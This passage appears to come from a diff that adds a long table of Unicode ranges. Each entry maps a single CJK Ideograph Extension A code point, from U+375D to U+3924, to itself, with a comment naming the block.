+ ["\u375D", "\u375D"], /* CJK Ideograph Extension A */
+ ["\u375E", "\u375E"], /* CJK Ideograph Extension A */
+ ["\u375F", "\u375F"], /* CJK Ideograph Extension A */
+ ["\u3760", "\u3760"], /* CJK Ideograph Extension A */
+ ["\u3761", "\u3761"], /* CJK Ideograph Extension A */
+ ["\u3762", "\u3762"], /* CJK Ideograph Extension A */
+ ["\u3763", "\u3763"], /* CJK Ideograph Extension A */
+ ["\u3764", "\u3764"], /* CJK Ideograph Extension A */
+ ["\u3765", "\u3765"], /* CJK Ideograph Extension A */
+ ["\u3766", "\u3766"], /* CJK Ideograph Extension A */
+ ["\u3767", "\u3767"], /* CJK Ideograph Extension A */
+ ["\u3768", "\u3768"], /* CJK Ideograph Extension A */
+ ["\u3769", "\u3769"], /* CJK Ideograph Extension A */
+ ["\u376A", "\u376A"], /* CJK Ideograph Extension A */
+ ["\u376B", "\u376B"], /* CJK Ideograph Extension A */
+ ["\u376C", "\u376C"], /* CJK Ideograph Extension A */
+ ["\u376D", "\u376D"], /* CJK Ideograph Extension A */
+ ["\u376E", "\u376E"], /* CJK Ideograph Extension A */
+ ["\u376F", "\u376F"], /* CJK Ideograph Extension A */
+ ["\u3770", "\u3770"], /* CJK Ideograph Extension A */
+ ["\u3771", "\u3771"], /* CJK Ideograph Extension A */
+ ["\u3772", "\u3772"], /* CJK Ideograph Extension A */
+ ["\u3773", "\u3773"], /* CJK Ideograph Extension A */
+ ["\u3774", "\u3774"], /* CJK Ideograph Extension A */
+ ["\u3775", "\u3775"], /* CJK Ideograph Extension A */
+ ["\u3776", "\u3776"], /* CJK Ideograph Extension A */
+ ["\u3777", "\u3777"], /* CJK Ideograph Extension A */
+ ["\u3778", "\u3778"], /* CJK Ideograph Extension A */
+ ["\u3779", "\u3779"], /* CJK Ideograph Extension A */
+ ["\u377A", "\u377A"], /* CJK Ideograph Extension A */
+ ["\u377B", "\u377B"], /* CJK Ideograph Extension A */
+ ["\u377C", "\u377C"], /* CJK Ideograph Extension A */
+ ["\u377D", "\u377D"], /* CJK Ideograph Extension A */
+ ["\u377E", "\u377E"], /* CJK Ideograph Extension A */
+ ["\u377F", "\u377F"], /* CJK Ideograph Extension A */
+ ["\u3780", "\u3780"], /* CJK Ideograph Extension A */
+ ["\u3781", "\u3781"], /* CJK Ideograph Extension A */
+ ["\u3782", "\u3782"], /* CJK Ideograph Extension A */
+ ["\u3783", "\u3783"], /* CJK Ideograph Extension A */
+ ["\u3784", "\u3784"], /* CJK Ideograph Extension A */
+ ["\u3785", "\u3785"], /* CJK Ideograph Extension A */
+ ["\u3786", "\u3786"], /* CJK Ideograph Extension A */
+ ["\u3787", "\u3787"], /* CJK Ideograph Extension A */
+ ["\u3788", "\u3788"], /* CJK Ideograph Extension A */
+ ["\u3789", "\u3789"], /* CJK Ideograph Extension A */
+ ["\u378A", "\u378A"], /* CJK Ideograph Extension A */
+ ["\u378B", "\u378B"], /* CJK Ideograph Extension A */
+ ["\u378C", "\u378C"], /* CJK Ideograph Extension A */
+ ["\u378D", "\u378D"], /* CJK Ideograph Extension A */
+ ["\u378E", "\u378E"], /* CJK Ideograph Extension A */
+ ["\u378F", "\u378F"], /* CJK Ideograph Extension A */
+ ["\u3790", "\u3790"], /* CJK Ideograph Extension A */
+ ["\u3791", "\u3791"], /* CJK Ideograph Extension A */
+ ["\u3792", "\u3792"], /* CJK Ideograph Extension A */
+ ["\u3793", "\u3793"], /* CJK Ideograph Extension A */
+ ["\u3794", "\u3794"], /* CJK Ideograph Extension A */
+ ["\u3795", "\u3795"], /* CJK Ideograph Extension A */
+ ["\u3796", "\u3796"], /* CJK Ideograph Extension A */
+ ["\u3797", "\u3797"], /* CJK Ideograph Extension A */
+ ["\u3798", "\u3798"], /* CJK Ideograph Extension A */
+ ["\u3799", "\u3799"], /* CJK Ideograph Extension A */
+ ["\u379A", "\u379A"], /* CJK Ideograph Extension A */
+ ["\u379B", "\u379B"], /* CJK Ideograph Extension A */
+ ["\u379C", "\u379C"], /* CJK Ideograph Extension A */
+ ["\u379D", "\u379D"], /* CJK Ideograph Extension A */
+ ["\u379E", "\u379E"], /* CJK Ideograph Extension A */
+ ["\u379F", "\u379F"], /* CJK Ideograph Extension A */
+ ["\u37A0", "\u37A0"], /* CJK Ideograph Extension A */
+ ["\u37A1", "\u37A1"], /* CJK Ideograph Extension A */
+ ["\u37A2", "\u37A2"], /* CJK Ideograph Extension A */
+ ["\u37A3", "\u37A3"], /* CJK Ideograph Extension A */
+ ["\u37A4", "\u37A4"], /* CJK Ideograph Extension A */
+ ["\u37A5", "\u37A5"], /* CJK Ideograph Extension A */
+ ["\u37A6", "\u37A6"], /* CJK Ideograph Extension A */
+ ["\u37A7", "\u37A7"], /* CJK Ideograph Extension A */
+ ["\u37A8", "\u37A8"], /* CJK Ideograph Extension A */
+ ["\u37A9", "\u37A9"], /* CJK Ideograph Extension A */
+ ["\u37AA", "\u37AA"], /* CJK Ideograph Extension A */
+ ["\u37AB", "\u37AB"], /* CJK Ideograph Extension A */
+ ["\u37AC", "\u37AC"], /* CJK Ideograph Extension A */
+ ["\u37AD", "\u37AD"], /* CJK Ideograph Extension A */
+ ["\u37AE", "\u37AE"], /* CJK Ideograph Extension A */
+ ["\u37AF", "\u37AF"], /* CJK Ideograph Extension A */
+ ["\u37B0", "\u37B0"], /* CJK Ideograph Extension A */
+ ["\u37B1", "\u37B1"], /* CJK Ideograph Extension A */
+ ["\u37B2", "\u37B2"], /* CJK Ideograph Extension A */
+ ["\u37B3", "\u37B3"], /* CJK Ideograph Extension A */
+ ["\u37B4", "\u37B4"], /* CJK Ideograph Extension A */
+ ["\u37B5", "\u37B5"], /* CJK Ideograph Extension A */
+ ["\u37B6", "\u37B6"], /* CJK Ideograph Extension A */
+ ["\u37B7", "\u37B7"], /* CJK Ideograph Extension A */
+ ["\u37B8", "\u37B8"], /* CJK Ideograph Extension A */
+ ["\u37B9", "\u37B9"], /* CJK Ideograph Extension A */
+ ["\u37BA", "\u37BA"], /* CJK Ideograph Extension A */
+ ["\u37BB", "\u37BB"], /* CJK Ideograph Extension A */
+ ["\u37BC", "\u37BC"], /* CJK Ideograph Extension A */
+ ["\u37BD", "\u37BD"], /* CJK Ideograph Extension A */
+ ["\u37BE", "\u37BE"], /* CJK Ideograph Extension A */
+ ["\u37BF", "\u37BF"], /* CJK Ideograph Extension A */
+ ["\u37C0", "\u37C0"], /* CJK Ideograph Extension A */
+ ["\u37C1", "\u37C1"], /* CJK Ideograph Extension A */
+ ["\u37C2", "\u37C2"], /* CJK Ideograph Extension A */
+ ["\u37C3", "\u37C3"], /* CJK Ideograph Extension A */
+ ["\u37C4", "\u37C4"], /* CJK Ideograph Extension A */
+ ["\u37C5", "\u37C5"], /* CJK Ideograph Extension A */
+ ["\u37C6", "\u37C6"], /* CJK Ideograph Extension A */
+ ["\u37C7", "\u37C7"], /* CJK Ideograph Extension A */
+ ["\u37C8", "\u37C8"], /* CJK Ideograph Extension A */
+ ["\u37C9", "\u37C9"], /* CJK Ideograph Extension A */
+ ["\u37CA", "\u37CA"], /* CJK Ideograph Extension A */
+ ["\u37CB", "\u37CB"], /* CJK Ideograph Extension A */
+ ["\u37CC", "\u37CC"], /* CJK Ideograph Extension A */
+ ["\u37CD", "\u37CD"], /* CJK Ideograph Extension A */
+ ["\u37CE", "\u37CE"], /* CJK Ideograph Extension A */
+ ["\u37CF", "\u37CF"], /* CJK Ideograph Extension A */
+ ["\u37D0", "\u37D0"], /* CJK Ideograph Extension A */
+ ["\u37D1", "\u37D1"], /* CJK Ideograph Extension A */
+ ["\u37D2", "\u37D2"], /* CJK Ideograph Extension A */
+ ["\u37D3", "\u37D3"], /* CJK Ideograph Extension A */
+ ["\u37D4", "\u37D4"], /* CJK Ideograph Extension A */
+ ["\u37D5", "\u37D5"], /* CJK Ideograph Extension A */
+ ["\u37D6", "\u37D6"], /* CJK Ideograph Extension A */
+ ["\u37D7", "\u37D7"], /* CJK Ideograph Extension A */
+ ["\u37D8", "\u37D8"], /* CJK Ideograph Extension A */
+ ["\u37D9", "\u37D9"], /* CJK Ideograph Extension A */
+ ["\u37DA", "\u37DA"], /* CJK Ideograph Extension A */
+ ["\u37DB", "\u37DB"], /* CJK Ideograph Extension A */
+ ["\u37DC", "\u37DC"], /* CJK Ideograph Extension A */
+ ["\u37DD", "\u37DD"], /* CJK Ideograph Extension A */
+ ["\u37DE", "\u37DE"], /* CJK Ideograph Extension A */
+ ["\u37DF", "\u37DF"], /* CJK Ideograph Extension A */
+ ["\u37E0", "\u37E0"], /* CJK Ideograph Extension A */
+ ["\u37E1", "\u37E1"], /* CJK Ideograph Extension A */
+ ["\u37E2", "\u37E2"], /* CJK Ideograph Extension A */
+ ["\u37E3", "\u37E3"], /* CJK Ideograph Extension A */
+ ["\u37E4", "\u37E4"], /* CJK Ideograph Extension A */
+ ["\u37E5", "\u37E5"], /* CJK Ideograph Extension A */
+ ["\u37E6", "\u37E6"], /* CJK Ideograph Extension A */
+ ["\u37E7", "\u37E7"], /* CJK Ideograph Extension A */
+ ["\u37E8", "\u37E8"], /* CJK Ideograph Extension A */
+ ["\u37E9", "\u37E9"], /* CJK Ideograph Extension A */
+ ["\u37EA", "\u37EA"], /* CJK Ideograph Extension A */
+ ["\u37EB", "\u37EB"], /* CJK Ideograph Extension A */
+ ["\u37EC", "\u37EC"], /* CJK Ideograph Extension A */
+ ["\u37ED", "\u37ED"], /* CJK Ideograph Extension A */
+ ["\u37EE", "\u37EE"], /* CJK Ideograph Extension A */
+ ["\u37EF", "\u37EF"], /* CJK Ideograph Extension A */
+ ["\u37F0", "\u37F0"], /* CJK Ideograph Extension A */
+ ["\u37F1", "\u37F1"], /* CJK Ideograph Extension A */
+ ["\u37F2", "\u37F2"], /* CJK Ideograph Extension A */
+ ["\u37F3", "\u37F3"], /* CJK Ideograph Extension A */
+ ["\u37F4", "\u37F4"], /* CJK Ideograph Extension A */
+ ["\u37F5", "\u37F5"], /* CJK Ideograph Extension A */
+ ["\u37F6", "\u37F6"], /* CJK Ideograph Extension A */
+ ["\u37F7", "\u37F7"], /* CJK Ideograph Extension A */
+ ["\u37F8", "\u37F8"], /* CJK Ideograph Extension A */
+ ["\u37F9", "\u37F9"], /* CJK Ideograph Extension A */
+ ["\u37FA", "\u37FA"], /* CJK Ideograph Extension A */
+ ["\u37FB", "\u37FB"], /* CJK Ideograph Extension A */
+ ["\u37FC", "\u37FC"], /* CJK Ideograph Extension A */
+ ["\u37FD", "\u37FD"], /* CJK Ideograph Extension A */
+ ["\u37FE", "\u37FE"], /* CJK Ideograph Extension A */
+ ["\u37FF", "\u37FF"], /* CJK Ideograph Extension A */
+ ["\u3800", "\u3800"], /* CJK Ideograph Extension A */
+ ["\u3801", "\u3801"], /* CJK Ideograph Extension A */
+ ["\u3802", "\u3802"], /* CJK Ideograph Extension A */
+ ["\u3803", "\u3803"], /* CJK Ideograph Extension A */
+ ["\u3804", "\u3804"], /* CJK Ideograph Extension A */
+ ["\u3805", "\u3805"], /* CJK Ideograph Extension A */
+ ["\u3806", "\u3806"], /* CJK Ideograph Extension A */
+ ["\u3807", "\u3807"], /* CJK Ideograph Extension A */
+ ["\u3808", "\u3808"], /* CJK Ideograph Extension A */
+ ["\u3809", "\u3809"], /* CJK Ideograph Extension A */
+ ["\u380A", "\u380A"], /* CJK Ideograph Extension A */
+ ["\u380B", "\u380B"], /* CJK Ideograph Extension A */
+ ["\u380C", "\u380C"], /* CJK Ideograph Extension A */
+ ["\u380D", "\u380D"], /* CJK Ideograph Extension A */
+ ["\u380E", "\u380E"], /* CJK Ideograph Extension A */
+ ["\u380F", "\u380F"], /* CJK Ideograph Extension A */
+ ["\u3810", "\u3810"], /* CJK Ideograph Extension A */
+ ["\u3811", "\u3811"], /* CJK Ideograph Extension A */
+ ["\u3812", "\u3812"], /* CJK Ideograph Extension A */
+ ["\u3813", "\u3813"], /* CJK Ideograph Extension A */
+ ["\u3814", "\u3814"], /* CJK Ideograph Extension A */
+ ["\u3815", "\u3815"], /* CJK Ideograph Extension A */
+ ["\u3816", "\u3816"], /* CJK Ideograph Extension A */
+ ["\u3817", "\u3817"], /* CJK Ideograph Extension A */
+ ["\u3818", "\u3818"], /* CJK Ideograph Extension A */
+ ["\u3819", "\u3819"], /* CJK Ideograph Extension A */
+ ["\u381A", "\u381A"], /* CJK Ideograph Extension A */
+ ["\u381B", "\u381B"], /* CJK Ideograph Extension A */
+ ["\u381C", "\u381C"], /* CJK Ideograph Extension A */
+ ["\u381D", "\u381D"], /* CJK Ideograph Extension A */
+ ["\u381E", "\u381E"], /* CJK Ideograph Extension A */
+ ["\u381F", "\u381F"], /* CJK Ideograph Extension A */
+ ["\u3820", "\u3820"], /* CJK Ideograph Extension A */
+ ["\u3821", "\u3821"], /* CJK Ideograph Extension A */
+ ["\u3822", "\u3822"], /* CJK Ideograph Extension A */
+ ["\u3823", "\u3823"], /* CJK Ideograph Extension A */
+ ["\u3824", "\u3824"], /* CJK Ideograph Extension A */
+ ["\u3825", "\u3825"], /* CJK Ideograph Extension A */
+ ["\u3826", "\u3826"], /* CJK Ideograph Extension A */
+ ["\u3827", "\u3827"], /* CJK Ideograph Extension A */
+ ["\u3828", "\u3828"], /* CJK Ideograph Extension A */
+ ["\u3829", "\u3829"], /* CJK Ideograph Extension A */
+ ["\u382A", "\u382A"], /* CJK Ideograph Extension A */
+ ["\u382B", "\u382B"], /* CJK Ideograph Extension A */
+ ["\u382C", "\u382C"], /* CJK Ideograph Extension A */
+ ["\u382D", "\u382D"], /* CJK Ideograph Extension A */
+ ["\u382E", "\u382E"], /* CJK Ideograph Extension A */
+ ["\u382F", "\u382F"], /* CJK Ideograph Extension A */
+ ["\u3830", "\u3830"], /* CJK Ideograph Extension A */
+ ["\u3831", "\u3831"], /* CJK Ideograph Extension A */
+ ["\u3832", "\u3832"], /* CJK Ideograph Extension A */
+ ["\u3833", "\u3833"], /* CJK Ideograph Extension A */
+ ["\u3834", "\u3834"], /* CJK Ideograph Extension A */
+ ["\u3835", "\u3835"], /* CJK Ideograph Extension A */
+ ["\u3836", "\u3836"], /* CJK Ideograph Extension A */
+ ["\u3837", "\u3837"], /* CJK Ideograph Extension A */
+ ["\u3838", "\u3838"], /* CJK Ideograph Extension A */
+ ["\u3839", "\u3839"], /* CJK Ideograph Extension A */
+ ["\u383A", "\u383A"], /* CJK Ideograph Extension A */
+ ["\u383B", "\u383B"], /* CJK Ideograph Extension A */
+ ["\u383C", "\u383C"], /* CJK Ideograph Extension A */
+ ["\u383D", "\u383D"], /* CJK Ideograph Extension A */
+ ["\u383E", "\u383E"], /* CJK Ideograph Extension A */
+ ["\u383F", "\u383F"], /* CJK Ideograph Extension A */
+ ["\u3840", "\u3840"], /* CJK Ideograph Extension A */
+ ["\u3841", "\u3841"], /* CJK Ideograph Extension A */
+ ["\u3842", "\u3842"], /* CJK Ideograph Extension A */
+ ["\u3843", "\u3843"], /* CJK Ideograph Extension A */
+ ["\u3844", "\u3844"], /* CJK Ideograph Extension A */
+ ["\u3845", "\u3845"], /* CJK Ideograph Extension A */
+ ["\u3846", "\u3846"], /* CJK Ideograph Extension A */
+ ["\u3847", "\u3847"], /* CJK Ideograph Extension A */
+ ["\u3848", "\u3848"], /* CJK Ideograph Extension A */
+ ["\u3849", "\u3849"], /* CJK Ideograph Extension A */
+ ["\u384A", "\u384A"], /* CJK Ideograph Extension A */
+ ["\u384B", "\u384B"], /* CJK Ideograph Extension A */
+ ["\u384C", "\u384C"], /* CJK Ideograph Extension A */
+ ["\u384D", "\u384D"], /* CJK Ideograph Extension A */
+ ["\u384E", "\u384E"], /* CJK Ideograph Extension A */
+ ["\u384F", "\u384F"], /* CJK Ideograph Extension A */
+ ["\u3850", "\u3850"], /* CJK Ideograph Extension A */
+ ["\u3851", "\u3851"], /* CJK Ideograph Extension A */
+ ["\u3852", "\u3852"], /* CJK Ideograph Extension A */
+ ["\u3853", "\u3853"], /* CJK Ideograph Extension A */
+ ["\u3854", "\u3854"], /* CJK Ideograph Extension A */
+ ["\u3855", "\u3855"], /* CJK Ideograph Extension A */
+ ["\u3856", "\u3856"], /* CJK Ideograph Extension A */
+ ["\u3857", "\u3857"], /* CJK Ideograph Extension A */
+ ["\u3858", "\u3858"], /* CJK Ideograph Extension A */
+ ["\u3859", "\u3859"], /* CJK Ideograph Extension A */
+ ["\u385A", "\u385A"], /* CJK Ideograph Extension A */
+ ["\u385B", "\u385B"], /* CJK Ideograph Extension A */
+ ["\u385C", "\u385C"], /* CJK Ideograph Extension A */
+ ["\u385D", "\u385D"], /* CJK Ideograph Extension A */
+ ["\u385E", "\u385E"], /* CJK Ideograph Extension A */
+ ["\u385F", "\u385F"], /* CJK Ideograph Extension A */
+ ["\u3860", "\u3860"], /* CJK Ideograph Extension A */
+ ["\u3861", "\u3861"], /* CJK Ideograph Extension A */
+ ["\u3862", "\u3862"], /* CJK Ideograph Extension A */
+ ["\u3863", "\u3863"], /* CJK Ideograph Extension A */
+ ["\u3864", "\u3864"], /* CJK Ideograph Extension A */
+ ["\u3865", "\u3865"], /* CJK Ideograph Extension A */
+ ["\u3866", "\u3866"], /* CJK Ideograph Extension A */
+ ["\u3867", "\u3867"], /* CJK Ideograph Extension A */
+ ["\u3868", "\u3868"], /* CJK Ideograph Extension A */
+ ["\u3869", "\u3869"], /* CJK Ideograph Extension A */
+ ["\u386A", "\u386A"], /* CJK Ideograph Extension A */
+ ["\u386B", "\u386B"], /* CJK Ideograph Extension A */
+ ["\u386C", "\u386C"], /* CJK Ideograph Extension A */
+ ["\u386D", "\u386D"], /* CJK Ideograph Extension A */
+ ["\u386E", "\u386E"], /* CJK Ideograph Extension A */
+ ["\u386F", "\u386F"], /* CJK Ideograph Extension A */
+ ["\u3870", "\u3870"], /* CJK Ideograph Extension A */
+ ["\u3871", "\u3871"], /* CJK Ideograph Extension A */
+ ["\u3872", "\u3872"], /* CJK Ideograph Extension A */
+ ["\u3873", "\u3873"], /* CJK Ideograph Extension A */
+ ["\u3874", "\u3874"], /* CJK Ideograph Extension A */
+ ["\u3875", "\u3875"], /* CJK Ideograph Extension A */
+ ["\u3876", "\u3876"], /* CJK Ideograph Extension A */
+ ["\u3877", "\u3877"], /* CJK Ideograph Extension A */
+ ["\u3878", "\u3878"], /* CJK Ideograph Extension A */
+ ["\u3879", "\u3879"], /* CJK Ideograph Extension A */
+ ["\u387A", "\u387A"], /* CJK Ideograph Extension A */
+ ["\u387B", "\u387B"], /* CJK Ideograph Extension A */
+ ["\u387C", "\u387C"], /* CJK Ideograph Extension A */
+ ["\u387D", "\u387D"], /* CJK Ideograph Extension A */
+ ["\u387E", "\u387E"], /* CJK Ideograph Extension A */
+ ["\u387F", "\u387F"], /* CJK Ideograph Extension A */
+ ["\u3880", "\u3880"], /* CJK Ideograph Extension A */
+ ["\u3881", "\u3881"], /* CJK Ideograph Extension A */
+ ["\u3882", "\u3882"], /* CJK Ideograph Extension A */
+ ["\u3883", "\u3883"], /* CJK Ideograph Extension A */
+ ["\u3884", "\u3884"], /* CJK Ideograph Extension A */
+ ["\u3885", "\u3885"], /* CJK Ideograph Extension A */
+ ["\u3886", "\u3886"], /* CJK Ideograph Extension A */
+ ["\u3887", "\u3887"], /* CJK Ideograph Extension A */
+ ["\u3888", "\u3888"], /* CJK Ideograph Extension A */
+ ["\u3889", "\u3889"], /* CJK Ideograph Extension A */
+ ["\u388A", "\u388A"], /* CJK Ideograph Extension A */
+ ["\u388B", "\u388B"], /* CJK Ideograph Extension A */
+ ["\u388C", "\u388C"], /* CJK Ideograph Extension A */
+ ["\u388D", "\u388D"], /* CJK Ideograph Extension A */
+ ["\u388E", "\u388E"], /* CJK Ideograph Extension A */
+ ["\u388F", "\u388F"], /* CJK Ideograph Extension A */
+ ["\u3890", "\u3890"], /* CJK Ideograph Extension A */
+ ["\u3891", "\u3891"], /* CJK Ideograph Extension A */
+ ["\u3892", "\u3892"], /* CJK Ideograph Extension A */
+ ["\u3893", "\u3893"], /* CJK Ideograph Extension A */
+ ["\u3894", "\u3894"], /* CJK Ideograph Extension A */
+ ["\u3895", "\u3895"], /* CJK Ideograph Extension A */
+ ["\u3896", "\u3896"], /* CJK Ideograph Extension A */
+ ["\u3897", "\u3897"], /* CJK Ideograph Extension A */
+ ["\u3898", "\u3898"], /* CJK Ideograph Extension A */
+ ["\u3899", "\u3899"], /* CJK Ideograph Extension A */
+ ["\u389A", "\u389A"], /* CJK Ideograph Extension A */
+ ["\u389B", "\u389B"], /* CJK Ideograph Extension A */
+ ["\u389C", "\u389C"], /* CJK Ideograph Extension A */
+ ["\u389D", "\u389D"], /* CJK Ideograph Extension A */
+ ["\u389E", "\u389E"], /* CJK Ideograph Extension A */
+ ["\u389F", "\u389F"], /* CJK Ideograph Extension A */
+ ["\u38A0", "\u38A0"], /* CJK Ideograph Extension A */
+ ["\u38A1", "\u38A1"], /* CJK Ideograph Extension A */
+ ["\u38A2", "\u38A2"], /* CJK Ideograph Extension A */
+ ["\u38A3", "\u38A3"], /* CJK Ideograph Extension A */
+ ["\u38A4", "\u38A4"], /* CJK Ideograph Extension A */
+ ["\u38A5", "\u38A5"], /* CJK Ideograph Extension A */
+ ["\u38A6", "\u38A6"], /* CJK Ideograph Extension A */
+ ["\u38A7", "\u38A7"], /* CJK Ideograph Extension A */
+ ["\u38A8", "\u38A8"], /* CJK Ideograph Extension A */
+ ["\u38A9", "\u38A9"], /* CJK Ideograph Extension A */
+ ["\u38AA", "\u38AA"], /* CJK Ideograph Extension A */
+ ["\u38AB", "\u38AB"], /* CJK Ideograph Extension A */
+ ["\u38AC", "\u38AC"], /* CJK Ideograph Extension A */
+ ["\u38AD", "\u38AD"], /* CJK Ideograph Extension A */
+ ["\u38AE", "\u38AE"], /* CJK Ideograph Extension A */
+ ["\u38AF", "\u38AF"], /* CJK Ideograph Extension A */
+ ["\u38B0", "\u38B0"], /* CJK Ideograph Extension A */
+ ["\u38B1", "\u38B1"], /* CJK Ideograph Extension A */
+ ["\u38B2", "\u38B2"], /* CJK Ideograph Extension A */
+ ["\u38B3", "\u38B3"], /* CJK Ideograph Extension A */
+ ["\u38B4", "\u38B4"], /* CJK Ideograph Extension A */
+ ["\u38B5", "\u38B5"], /* CJK Ideograph Extension A */
+ ["\u38B6", "\u38B6"], /* CJK Ideograph Extension A */
+ ["\u38B7", "\u38B7"], /* CJK Ideograph Extension A */
+ ["\u38B8", "\u38B8"], /* CJK Ideograph Extension A */
+ ["\u38B9", "\u38B9"], /* CJK Ideograph Extension A */
+ ["\u38BA", "\u38BA"], /* CJK Ideograph Extension A */
+ ["\u38BB", "\u38BB"], /* CJK Ideograph Extension A */
+ ["\u38BC", "\u38BC"], /* CJK Ideograph Extension A */
+ ["\u38BD", "\u38BD"], /* CJK Ideograph Extension A */
+ ["\u38BE", "\u38BE"], /* CJK Ideograph Extension A */
+ ["\u38BF", "\u38BF"], /* CJK Ideograph Extension A */
+ ["\u38C0", "\u38C0"], /* CJK Ideograph Extension A */
+ ["\u38C1", "\u38C1"], /* CJK Ideograph Extension A */
+ ["\u38C2", "\u38C2"], /* CJK Ideograph Extension A */
+ ["\u38C3", "\u38C3"], /* CJK Ideograph Extension A */
+ ["\u38C4", "\u38C4"], /* CJK Ideograph Extension A */
+ ["\u38C5", "\u38C5"], /* CJK Ideograph Extension A */
+ ["\u38C6", "\u38C6"], /* CJK Ideograph Extension A */
+ ["\u38C7", "\u38C7"], /* CJK Ideograph Extension A */
+ ["\u38C8", "\u38C8"], /* CJK Ideograph Extension A */
+ ["\u38C9", "\u38C9"], /* CJK Ideograph Extension A */
+ ["\u38CA", "\u38CA"], /* CJK Ideograph Extension A */
+ ["\u38CB", "\u38CB"], /* CJK Ideograph Extension A */
+ ["\u38CC", "\u38CC"], /* CJK Ideograph Extension A */
+ ["\u38CD", "\u38CD"], /* CJK Ideograph Extension A */
+ ["\u38CE", "\u38CE"], /* CJK Ideograph Extension A */
+ ["\u38CF", "\u38CF"], /* CJK Ideograph Extension A */
+ ["\u38D0", "\u38D0"], /* CJK Ideograph Extension A */
+ ["\u38D1", "\u38D1"], /* CJK Ideograph Extension A */
+ ["\u38D2", "\u38D2"], /* CJK Ideograph Extension A */
+ ["\u38D3", "\u38D3"], /* CJK Ideograph Extension A */
+ ["\u38D4", "\u38D4"], /* CJK Ideograph Extension A */
+ ["\u38D5", "\u38D5"], /* CJK Ideograph Extension A */
+ ["\u38D6", "\u38D6"], /* CJK Ideograph Extension A */
+ ["\u38D7", "\u38D7"], /* CJK Ideograph Extension A */
+ ["\u38D8", "\u38D8"], /* CJK Ideograph Extension A */
+ ["\u38D9", "\u38D9"], /* CJK Ideograph Extension A */
+ ["\u38DA", "\u38DA"], /* CJK Ideograph Extension A */
+ ["\u38DB", "\u38DB"], /* CJK Ideograph Extension A */
+ ["\u38DC", "\u38DC"], /* CJK Ideograph Extension A */
+ ["\u38DD", "\u38DD"], /* CJK Ideograph Extension A */
+ ["\u38DE", "\u38DE"], /* CJK Ideograph Extension A */
+ ["\u38DF", "\u38DF"], /* CJK Ideograph Extension A */
+ ["\u38E0", "\u38E0"], /* CJK Ideograph Extension A */
+ ["\u38E1", "\u38E1"], /* CJK Ideograph Extension A */
+ ["\u38E2", "\u38E2"], /* CJK Ideograph Extension A */
+ ["\u38E3", "\u38E3"], /* CJK Ideograph Extension A */
+ ["\u38E4", "\u38E4"], /* CJK Ideograph Extension A */
+ ["\u38E5", "\u38E5"], /* CJK Ideograph Extension A */
+ ["\u38E6", "\u38E6"], /* CJK Ideograph Extension A */
+ ["\u38E7", "\u38E7"], /* CJK Ideograph Extension A */
+ ["\u38E8", "\u38E8"], /* CJK Ideograph Extension A */
+ ["\u38E9", "\u38E9"], /* CJK Ideograph Extension A */
+ ["\u38EA", "\u38EA"], /* CJK Ideograph Extension A */
+ ["\u38EB", "\u38EB"], /* CJK Ideograph Extension A */
+ ["\u38EC", "\u38EC"], /* CJK Ideograph Extension A */
+ ["\u38ED", "\u38ED"], /* CJK Ideograph Extension A */
+ ["\u38EE", "\u38EE"], /* CJK Ideograph Extension A */
+ ["\u38EF", "\u38EF"], /* CJK Ideograph Extension A */
+ ["\u38F0", "\u38F0"], /* CJK Ideograph Extension A */
+ ["\u38F1", "\u38F1"], /* CJK Ideograph Extension A */
+ ["\u38F2", "\u38F2"], /* CJK Ideograph Extension A */
+ ["\u38F3", "\u38F3"], /* CJK Ideograph Extension A */
+ ["\u38F4", "\u38F4"], /* CJK Ideograph Extension A */
+ ["\u38F5", "\u38F5"], /* CJK Ideograph Extension A */
+ ["\u38F6", "\u38F6"], /* CJK Ideograph Extension A */
+ ["\u38F7", "\u38F7"], /* CJK Ideograph Extension A */
+ ["\u38F8", "\u38F8"], /* CJK Ideograph Extension A */
+ ["\u38F9", "\u38F9"], /* CJK Ideograph Extension A */
+ ["\u38FA", "\u38FA"], /* CJK Ideograph Extension A */
+ ["\u38FB", "\u38FB"], /* CJK Ideograph Extension A */
+ ["\u38FC", "\u38FC"], /* CJK Ideograph Extension A */
+ ["\u38FD", "\u38FD"], /* CJK Ideograph Extension A */
+ ["\u38FE", "\u38FE"], /* CJK Ideograph Extension A */
+ ["\u38FF", "\u38FF"], /* CJK Ideograph Extension A */
+ ["\u3900", "\u3900"], /* CJK Ideograph Extension A */
+ ["\u3901", "\u3901"], /* CJK Ideograph Extension A */
+ ["\u3902", "\u3902"], /* CJK Ideograph Extension A */
+ ["\u3903", "\u3903"], /* CJK Ideograph Extension A */
+ ["\u3904", "\u3904"], /* CJK Ideograph Extension A */
+ ["\u3905", "\u3905"], /* CJK Ideograph Extension A */
+ ["\u3906", "\u3906"], /* CJK Ideograph Extension A */
+ ["\u3907", "\u3907"], /* CJK Ideograph Extension A */
+ ["\u3908", "\u3908"], /* CJK Ideograph Extension A */
+ ["\u3909", "\u3909"], /* CJK Ideograph Extension A */
+ ["\u390A", "\u390A"], /* CJK Ideograph Extension A */
+ ["\u390B", "\u390B"], /* CJK Ideograph Extension A */
+ ["\u390C", "\u390C"], /* CJK Ideograph Extension A */
+ ["\u390D", "\u390D"], /* CJK Ideograph Extension A */
+ ["\u390E", "\u390E"], /* CJK Ideograph Extension A */
+ ["\u390F", "\u390F"], /* CJK Ideograph Extension A */
+ ["\u3910", "\u3910"], /* CJK Ideograph Extension A */
+ ["\u3911", "\u3911"], /* CJK Ideograph Extension A */
+ ["\u3912", "\u3912"], /* CJK Ideograph Extension A */
+ ["\u3913", "\u3913"], /* CJK Ideograph Extension A */
+ ["\u3914", "\u3914"], /* CJK Ideograph Extension A */
+ ["\u3915", "\u3915"], /* CJK Ideograph Extension A */
+ ["\u3916", "\u3916"], /* CJK Ideograph Extension A */
+ ["\u3917", "\u3917"], /* CJK Ideograph Extension A */
+ ["\u3918", "\u3918"], /* CJK Ideograph Extension A */
+ ["\u3919", "\u3919"], /* CJK Ideograph Extension A */
+ ["\u391A", "\u391A"], /* CJK Ideograph Extension A */
+ ["\u391B", "\u391B"], /* CJK Ideograph Extension A */
+ ["\u391C", "\u391C"], /* CJK Ideograph Extension A */
+ ["\u391D", "\u391D"], /* CJK Ideograph Extension A */
+ ["\u391E", "\u391E"], /* CJK Ideograph Extension A */
+ ["\u391F", "\u391F"], /* CJK Ideograph Extension A */
+ ["\u3920", "\u3920"], /* CJK Ideograph Extension A */
+ ["\u3921", "\u3921"], /* CJK Ideograph Extension A */
+ ["\u3922", "\u3922"], /* CJK Ideograph Extension A */
+ ["\u3923", "\u3923"], /* CJK Ideograph Extension A */
+ ["\u3924", "\u3924"], /* CJK Ideograph Extension A */
